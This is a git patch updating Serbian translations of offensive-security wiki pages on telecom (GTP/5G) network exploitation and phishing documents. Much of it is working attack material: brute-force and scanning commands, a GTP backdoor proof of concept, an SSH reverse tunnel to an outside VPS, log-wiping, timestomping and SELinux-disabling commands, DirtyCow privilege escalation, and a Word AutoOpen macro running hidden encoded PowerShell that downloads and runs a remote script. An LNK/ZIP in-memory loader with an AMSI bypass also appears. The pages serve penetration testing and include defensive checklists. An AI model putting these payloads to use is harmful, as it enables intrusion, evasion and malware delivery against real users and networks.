From a6726a59d58c7e8b3d781289965c417ca68c3357 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 22:17:51 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/ad-certi --- .../telecom-network-exploitation.md | 160 +++++++++--------- .../phishing-documents.md | 81 +++++---- .../ad-certificates/domain-persistence.md | 73 ++++---- 3 files changed, 161 insertions(+), 153 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index ea2adf815..0df8c4da3 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Eksploatacija telekom mreža (GTP / roaming okruženja) +# Eksploatacija telekom mreža (GTP / Roaming Environments) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> Protokoli mobilne jezgre (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbone-ove. Pošto se prenose preko običnog UDP-a sa gotovo nikakvom autentifikacijom, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. Sledeće beleške sakupljaju ofanzivne trikove viđene u prirodi protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. +> Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, **bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane**. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. ## 1. Recon & Initial Access ### 1.1 Default OSS / NE Accounts -Iznenađujuće veliki broj vendor mrežnih elemenata isporučuje se sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećen wordlist dramatično povećava brute-force uspeh: +Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećeni wordlist dramatično povećava uspeh brute-force-a: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -Ako uređaj izlaže samo management VRF, prvo pivot kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod). +Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod). ### 1.2 Otkrivanje hostova unutar GRX/IPX -Većina GRX operatera i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama kako biste brzo mapirali GTP-C slušače: +Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama da brzo mapirate GTP-C slušaoce: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. Enumerating Subscribers – `cordscan` +## 2. Enumeracija pretplatnika – `cordscan` -Sledeći Go alat konstruše **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. +Sledeći Go alat sastavlja pakete **GTP-C Create PDP Context Request** i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -30,21 +30,21 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` Ključne opcije: -- `--imsi` Ciljni pretplatnik IMSI +- `--imsi` IMSI ciljnog pretplatnika - `--oper` Home / HNI (MCC+MNC) -- `-w` Snima sirove pakete u pcap +- `-w` Zapiši raw packets u pcap -Važne konstante unutar binary mogu biti patched da prošire skeniranja: +Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. Code Execution over GTP – `GTPDoor` +## 3. Izvršavanje koda preko GTP – `GTPDoor` -`GTPDoor` je mali ELF servis koji **veže se na UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr su exfiltrated unutar **Echo Response** poruka tako da nikakva izlazna sesija nikada nije kreirana. +`GTPDoor` je mali ELF servis koji **veže UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da nikada nije uspostavljena izlazna sesija. -Minimalni PoC paket (Python): +Minimalni PoC packet (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" @@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Detekcija: -* bilo koji host koji šalje **unbalanced Echo Requests** to SGSN IPs -* GTP version flag set to 1 while message type = 1 (Echo) – odstupanje od specifikacije +* bilo koji host koji šalje **unbalanced Echo Requests** prema SGSN IP adresama +* GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije -## 4. Pivoting kroz jezgro +## 4. Pivoting Through the Core ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` dolazi sa SGSN emulatorom sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan from the roaming peer. +`OsmoGGSN` isporučuje SGSN emulator sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLAN-ove i dovodi vas direktno u **sloj podataka**. +With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **sloj podataka**. -### 4.2 SSH Reverse Tunnel preko Port 53 -DNS je skoro uvek otvoren u roaming infrastrukturama. Izložite internu SSH uslugu na svoj VPS koja sluša na :53 i kasnije se vratite iz kuće: +### 4.2 SSH Reverse Tunnel over Port 53 +DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -Proverite da li je `GatewayPorts yes` omogućeno na VPS-u. +Proverite da li je `GatewayPorts yes` omogućen na VPS-u. -## 5. Skriveni kanali +## 5. Tajni kanali | Kanal | Transport | Dekodiranje | Napomene | |---------|-----------|----------|-------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivni listener, bez odlaznog saobraćaja | -| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) kodirano u oktetima A-record zapisa | prati poddomen `*.nodep` | -| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | uklapa se sa legitimnim GTP-C saobraćajem | +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | posmatra `*.nodep` poddomen | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem | -Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i re-spawnuju se ako se sruše. +Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i ponovo ih pokreću ako se sruše. -## 6. Defense Evasion Cheatsheet +## 6. Pregled tehnika izbegavanja detekcije ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. Privilege Escalation na Legacy NE +## 7. Eskalacija privilegija na Legacy NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -116,76 +116,76 @@ Savet za čišćenje: userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. Alati +## 8. Set alata -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. -* `FScan` : intranet TCP skeniranje (`fscan -p 22,80,443 10.0.0.0/24`) +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisani u prethodnim sekcijama. +* `FScan` : skeniranje intraneta po TCP portovima (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD -* `Microsocks` + `ProxyChains` : lagano SOCKS5 pivotiranje +* `Microsocks` + `ProxyChains` : lagani SOCKS5 pivoting * `FRP` (≥0.37) : NAT traversal / asset bridging ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay -Procedura 5G registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dok se NAS security ne aktivira preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane i nisu enkriptovane. Ovo pre-security prozor omogućava više putanja napada ako možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed). +Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed). -Registration flow (pojednostavljeno): -- Registration Request: UE šalje SUCI (šifrovani SUPI) i capability-je. +Tok registracije (pojednostavljeno): +- Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities. - Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*. -- Security Mode Command/Complete: NAS integritet i šifrovanje se pregovaraju i aktiviraju. -- PDU Session Establishment: IP/QoS podešavanje. +- Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering. +- PDU Session Establishment: podešavanje IP/QoS. -Lab setup saveti (non-RF): -- Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova. -- UE: simulator ili test UE; dekodujte pomoću Wireshark. -- Active tooling: 5GReplay (capture/modify/replay NAS unutar NGAP), Sni5Gect (sniff/patch/inject NAS on the fly bez podizanja kompletnog rogue gNB). +Saveti za lab podešavanje (bez RF): +- Core: Open5GS default deployment je dovoljan za reprodukciju toka. +- UE: simulator ili test UE; dekodovati pomoću Wireshark. +- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). - Korisni display filteri u Wireshark: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI -Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home-network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na problem privatnosti koji omogućava persistento praćenje pretplatnika. +Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika. Kako testirati: -- Capturujte prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE. -- Wireshark quick checks: -- Trebalo bi da dekoduje kao SUCI, ne kao IMSI. -- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo tog polja uz prisustvo `imsi` ukazuje na curenje. +- Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE. +- Wireshark brze provere: +- Trebalo bi da dekodira kao SUCI, ne IMSI. +- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo plus prisustvo `imsi` ukazuje na leakage. -Šta sakupiti: -- MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/lokacije. +Šta prikupiti: +- MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija. Mitigacija: -- Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS. +- Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u. ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) -Pozadina: -- UE advertajzuje podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. +Background: +- UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. - Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi. Problem: -- Pošto Registration Request nije integrity zaštićen, on-path napadač može da očisti capability bitove da bi primorao kasniji izbor EEA0/EIA0 tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i izvan emergency servisa. +- Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa. Ofanzivni koraci: -- Intercept InitialUEMessage i modifikujte NAS UE Security Capability da advertajzuje samo EEA0/EIA0. -- Sa Sni5Gect, hook-ujte NAS poruku i patch-ujte capability bitove pre prosleđivanja. -- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0. +- Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0. +- Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja. +- Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0. Verifikacija/vidljivost: -- U Wireshark, potvrdite izabrane algoritme posle Security Mode Command/Complete. -- Primer pasivnog sniffer output-a: +- U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete. +- Primer izlaza pasivnog sniffera: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` -Mitigacije (mora): -- Konfigurišite AMF/policy da odbacuje EEA0/EIA0 osim tamo gde je strogo naloženo (npr. hitni pozivi). -- Preferirajte primenu EEA2/EIA2 kao minimum; zabeležite i podignite alarm za svaki NAS security context koji pregovara null algorithms. +Mitigacije (obavezno): +- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi). +- Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms. -### 9.3 Ponavljanje (replay) početnog Registration Request-a (pre-security NAS) -Pošto početni NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request mogu biti ponovo poslati AMF. +### 9.3 Replay of initial Registration Request (pre-security NAS) +Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF. -PoC pravilo za 5GReplay za prosleđivanje podudarnih replay-a: +PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays: ```xml ``` What to observe: -- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure. +- Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost. Mitigations: -- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE. +- Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE. ### 9.4 Tooling pointers (reproducible) -- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. -- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. -- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. -- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. +- Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS. +- Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration. +- 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu. +- Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije. ### 9.5 Defensive checklist -- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs. -- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2. -- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. -- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. +- Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila. +- Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2. +- Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers. +- Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage. --- -## Ideje za detekciju -1. **Bilo koji uređaj osim SGSN/GGSN koji uspostavlja Create PDP Context Requests**. -2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internog IP prostora. -3. **Česti Echo Requests bez odgovarajućih Echo Responses** – može ukazivati na GTPDoor beacone. -4. **Visoka stopa ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**. -5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa identičnih endpoint-a** (signal repleja). -6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0** van konteksta hitnih procedura. +## Detection Ideas +1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. +2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. +3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. +4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. +5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). +6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. ## References diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 20eee09ce..53a8e6810 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,40 +1,38 @@ -# Phishing fajlovi i dokumenti +# Phishing fajlovi & dokumenti {{#include ../../banners/hacktricks-training.md}} ## Office dokumenti -Microsoft Word vrši validaciju podataka fajla pre otvaranja. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do bilo koje greške tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren. +Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija se obavlja u vidu identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se dogodi bilo kakva greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren. -Obično Word fajlovi koji sadrže macros koriste `.docm` ekstenziju. Međutim, moguće je preimenovati fajl promenom ekstenzije i ipak zadržati mogućnost izvršavanja njihovih macros.\ -Na primer, RTF fajl po dizajnu ne podržava macros, ali DOCM fajl preimenovan u RTF će biti tretiran od strane Microsoft Word i biće sposoban za izvršavanje macros.\ -Isti internals i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint etc.). +Obično Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl promenom ekstenzije i i dalje zadržati mogućnost izvršavanja makroa. Na primer, RTF fajl po dizajnu ne podržava makroe, ali `.docm` fajl preimenovan u RTF biće obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa. Ista interna logika i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint itd.). -Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa: +Možete koristiti sledeću komandu da proverite koje će ekstenzije biti izvršavane od strane nekih Office programa: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX fajlovi koji referenciraju udaljeni template (File –Options –Add-ins –Manage: Templates –Go) koji uključuje macros mogu takođe “izvršavati” macros. +DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. -### Učitavanje eksternih slika +### Učitavanje spoljne slike Idite na: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever +_**Kategorije**: Links and References, **Nazivi polja**: includePicture, and **Ime fajla ili URL**:_ http:///whatever ![](<../../images/image (155).png>) ### Macros Backdoor -Moguće je koristiti macros za pokretanje proizvoljnog koda iz dokumenta. +Moguće je koristiti macros za pokretanje arbitrary code iz dokumenta. -#### Funkcije za automatsko učitavanje +#### Autoload functions -Što su češće, to je verovatnije da će ih AV detektovati. +Što su češće, veća je verovatnoća da će ih AV otkriti. - AutoOpen() - Document_Open() -#### Macros Primeri koda +#### Macros Code Examples ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -66,24 +64,24 @@ proc.Create "powershell ``` #### Ručno uklonite metapodatke -Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Inspektor dokumenta. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**. +Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**. #### Ekstenzija dokumenta Kada završite, izaberite padajući meni **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\ -Uradite ovo zato što **ne možete sačuvati makroe unutar `.docx`** i postoji **stigmatizacija** oko makro-omogućenog **`.docm`** formata (npr. sličica ima veliki `!` i neki web/email gateway-ovi ih potpuno blokiraju). Stoga je ova **nasleđena `.doc` ekstenzija najbolji kompromis**. +Uradite ovo zato što ne možete sačuvati **macros** unutar **`.docx`**, i postoji **stigmatizacija** **oko** macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima ogroman `!` i neki web/email gateway-ovi ih u potpunosti blokiraju). Stoga je ova **legacy `.doc` ekstenzija najbolje kompromisno rešenje**. -#### Malicious Macros Generators +#### Generatori zlonamernih Macros - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA Files +## HTA fajlovi -HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao aplikacija kojoj je u potpunosti verovano, bez ograničenja sigurnosnog modela pregledača. +HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača. -HTA se izvršava pomoću **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše. +HTA se izvršava pomoću **`mshta.exe`**, koji se obično instalira zajedno sa **Internet Explorer**, što čini **`mshta`** zavisnim od IE. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše. ```html <--! Basic HTA Execution --> @@ -138,9 +136,9 @@ var_func self.close ``` -## Forsiranje NTLM autentifikacije +## Forsiranje NTLM autentikacije -Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem fascikle. +Postoji nekoliko načina da **forsirate NTLM autentikaciju „na daljinu“**, na primer, možete dodati **nevidljive slike** u mejlove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **okidati** **autentikaciju** samo otvaranjem foldera. **Pogledajte ove ideje i još više na sledećim stranicama:** @@ -156,24 +154,24 @@ Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na pr ### NTLM Relay -Ne zaboravite da ne možete samo ukrasti heš ili autentifikaciju, već i **perform NTLM relay attacks**: +Ne zaboravite da ne možete samo ukrasti hash ili autentikaciju već i **perform NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Vrlo efikasne kampanje isporučuju ZIP koji sadrži dva legitimna decoy dokumenta (PDF/DOCX) i maliciozni .lnk. Trik je u tome da je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvoji i izvršava potpuno u memoriji. +Veoma efektivne kampanje isporučuju ZIP koji sadrži dva legitimno izgledajuća dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izrezuje i izvršava u celosti u memoriji. Tipičan tok koji implementira .lnk PowerShell one-liner: -1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditeljskom direktorijumu trenutnog radnog direktorijuma. -2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve posle markera je ugrađeni PowerShell payload. -3) Kopiraj ZIP u %ProgramData%, ekstrahuj tamo i otvori decoy .docx da bi izgledalo legitimno. -4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuskuj sledeću fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji. +1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory. +2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload. +3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate. +4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuskujte naredni stejdž (npr. uklonite sve # karaktere) i izvršite ga u memoriji. -Primer PowerShell kostura za izdvajanje i pokretanje ugrađene faze: +Primer PowerShell skeleta za izvlačenje i izvršavanje ugrađenog stejdža: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,11 +189,11 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Napomene -- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. 